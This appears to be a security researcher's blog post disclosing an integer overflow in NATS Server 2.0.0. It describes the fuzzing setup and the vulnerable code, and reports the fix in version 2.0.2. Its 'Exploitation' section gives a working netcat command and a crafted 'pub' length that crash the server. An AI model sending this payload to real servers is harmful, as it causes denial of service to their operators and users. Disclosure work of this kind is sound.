As part of our initiative to contribute to and improve CNCF projects, I’ve recently looked at NATS. At first glance, I noticed that not long ago a security audit was performed by Cure53 so I was very skeptical about finding anything, but as it is in the security world – if you work hard, eventually you’ll find something, and so I did.

I found an Integer Overflow in NATS Server 2.0.0 which can cause a DoS by sending a single crafted request.

Background

NATS is an open source messaging system commonly used in cloud native environments. As written on their website – “NATS.io is a simple, secure and high performance open source messaging system for cloud native applications, IoT messaging, and microservices architectures.”

The NATS project consists of a server implementation and several client implementations written in different languages.

The Research

First I did some static analysis and examined the code in order to understand it’s logic and functionality. As I was doing so, I came across the “parse” function which seemed interesting because it takes the input from the client socket, parses it, and runs the requested command.
It looked like a promising place to find a vulnerability.

Using go-fuzz

Fuzzing is a great technique for finding vulnerabilities. You just give the fuzzer a function that you think may be vulnerable and various inputs and it floods it with inputs while looking for strange behaviors.

For Golang, there is a great open source fuzzer inspired by Michał Zalewski’s AFL fuzzer called Go-Fuzz. In order to find this vulnerability, I created a mock client with a mock socket that’s connected to a Python script that just accepts connections and used Go-Fuzz in order to fuzz the function.

func Fuzz(data []byte) int {
        con, e := net.Dial("tcp", "localhost:4222")
        s, err := server.NewServer(DefaultOptions())
        c := s.CreateClient(con)
        err = c.Parse(data)
        if err != nil {
                return 1
        }
        return -1
}

The Vulnerability

Eventually, the fuzzer found an int overflow that can crash the server.
As a user, you can send a publish request which will publish a message to a subject, and all of the clients who are subscribed to the subject will receive the message.

The format is – pub [subject] [msg len]\r\n[the message]\r\n
In Client.go:1570 – if maxPayload != jwt.NoLimit && int32(c.pa.size) > maxPayload
there is a restriction that checks that the length is not too big.
The problem is that the length is a signed int, and it is parsed from a string from the user to an int using multiplication in util.go:35 and can be overflowed and become a negative number that will then pass the condition.

After it is passing the condition it goes to – parser.go:886 –
c.msgBuf = make([]byte, lrem,c.pa.size+LEN_CR_LF)
This code is trying to create a slice with a capacity as long as the length we sent it.
The problem is that the go runtime function `make` treats the capacity parameter as an unsigned int so instead of a negative number, it treats it like the number we sent it and then it tries to allocate an abnormal slice and panics.

Exploitation

It’s super easy to exploit the vulnerability, we just need a big number that will be overflown to a negative number-
Open terminal –
nc [nats-server-ip] [port]
pub 5 380571791000988

In this case, the go environment will try to create a slice in size of 380TB.

NATS server crashes with traceback –
panic: runtime error: makeslice: cap out of range

goroutine 75 [running]:
github.com/nats-io/nats-server/server.(*client).parse(0xc0000c8c80, 0xc000246000, 0x18, 0x200, 0x18, 0x0)
/go/src/github.com/nats-io/nats-server/server/parser.go:884 +0x2dc0
github.com/nats-io/nats-server/server.(*client).readLoop(0xc0000c8c80)
/go/src/github.com/nats-io/nats-server/server/client.go:756 +0x20c
github.com/nats-io/nats-server/server.(*Server).createClient.func2()
/go/src/github.com/nats-io/nats-server/server/server.go:1585 +0x2a
created by github.com/nats-io/nats-server/server.(*Server).startGoRoutine
/go/src/github.com/nats-io/nats-server/server/server.go:1928 +0x94

Disclosure

I’ve contacted NATS project manager – Colin Sullivan, who was eager to solve the issue and fixed it on the master branch on the same day and released a new version with the fix after two weeks – version is 2.0.2.

Besides his professional treatment of the issue, Colin offered us complimentary NATS T-shirts, which we were pleased to accept.